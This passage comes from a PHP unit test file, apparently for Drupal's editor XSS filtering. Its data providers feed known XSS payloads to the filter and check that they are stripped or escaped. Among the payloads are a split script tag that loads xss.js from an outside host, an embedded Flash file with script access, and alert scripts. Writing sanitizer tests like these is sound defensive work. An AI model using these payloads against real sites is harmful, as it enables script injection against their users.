502     $data[] = ['<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>', 'document.write("<SCRI>PT SRC="http://ha.ckers.org/xss.js"&gt;'];
503
504     // URL string evasion.
505     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#URL_string_evasion
506     // This one is irrelevant for Drupal; Drupal doesn't forbid linking to some
507     // sites, it only forbids linking to any protocols other than those that are
508     // whitelisted.
509
510     // Test XSS filtering on data-attributes.
511     // @see \Drupal\editor\EditorXssFilter::filterXssDataAttributes()
512
513     // The following two test cases verify that XSS attack vectors are filtered.
514     $data[] = ['<img src="butterfly.jpg" data-caption="&lt;script&gt;alert();&lt;/script&gt;" />', '<img src="butterfly.jpg" data-caption="alert();" />'];
515     $data[] = ['<img src="butterfly.jpg" data-caption="&lt;EMBED SRC=&quot;http://ha.ckers.org/xss.swf&quot; AllowScriptAccess=&quot;always&quot;&gt;&lt;/EMBED&gt;" />', '<img src="butterfly.jpg" data-caption="" />'];
516
517     // When including HTML-tags as visible content, they are double-escaped.
518     // This test case ensures that we leave that content unchanged.
519     $data[] = ['<img src="butterfly.jpg" data-caption="&amp;lt;script&amp;gt;alert();&amp;lt;/script&amp;gt;" />', '<img src="butterfly.jpg" data-caption="&amp;lt;script&amp;gt;alert();&amp;lt;/script&amp;gt;" />'];
520
521     return $data;
522   }
523
524   /**
525    * Tests the method for filtering XSS.
526    *
527    * @param string $input
528    *   The input.
529    * @param string $expected_output
530    *   The expected output.
531    *
532    * @dataProvider providerTestFilterXss
533    */
534   public function testFilterXss($input, $expected_output) {
535     $output = Standard::filterXss($input, $this->format);
536     $this->assertSame($expected_output, $output);
537   }
538
539   /**
540    * Tests removing disallowed tags and XSS prevention.
541    *
542    * \Drupal\Component\Utility\Xss::filter() has the ability to run in blacklist
543    * mode, in which it still applies the exact same filtering, with one
544    * exception: it no longer works with a list of allowed tags, but with a list
545    * of disallowed tags.
546    *
547    * @param string $value
548    *   The value to filter.
549    * @param string $expected
550    *   The string that is expected to be missing.
551    * @param string $message
552    *   The assertion message to display upon failure.
553    * @param array $disallowed_tags
554    *   (optional) The disallowed HTML tags to be passed to \Drupal\Component\Utility\Xss::filter().
555    *
556    * @dataProvider providerTestBlackListMode
557    */
558   public function testBlacklistMode($value, $expected, $message, array $disallowed_tags) {
559     $value = Standard::filter($value, $disallowed_tags);
560     $this->assertSame($expected, $value, $message);
561   }
562
563   /**
564    * Data provider for testBlacklistMode().
565    *
566    * @see testBlacklistMode()
567    *
568    * @return array
569    *   An array of arrays containing the following elements:
570    *     - The value to filter.
571    *     - The value to expect after filtering.
572    *     - The assertion message.
573    *     - (optional) The disallowed HTML tags to be passed to \Drupal\Component\Utility\Xss::filter().
574    */
575   public function providerTestBlackListMode() {
576     return [
577       [
578         '<unknown style="visibility:hidden">Pink Fairy Armadillo</unknown><video src="gerenuk.mp4"><script>alert(0)</script>',
579         '<unknown>Pink Fairy Armadillo</unknown><video src="gerenuk.mp4">alert(0)',
580         'Disallow only the script tag',
581         ['script']
582       ],
583       [
584         '<unknown style="visibility:hidden">Pink Fairy Armadillo</unknown><video src="gerenuk.mp4"><script>alert(0)</script>',
585         '<unknown>Pink Fairy Armadillo</unknown>alert(0)',
586         'Disallow both the script and video tags',
587         ['script', 'video']
588       ],
589       // No real use case for this, but it is an edge case we must ensure works.
590       [
591         '<unknown style="visibility:hidden">Pink Fairy Armadillo</unknown><video src="gerenuk.mp4"><script>alert(0)</script>',
592         '<unknown>Pink Fairy Armadillo</unknown><video src="gerenuk.mp4"><script>alert(0)</script>',
593         'Disallow no tags',
594         []
595       ],
596     ];
597   }
598
599 }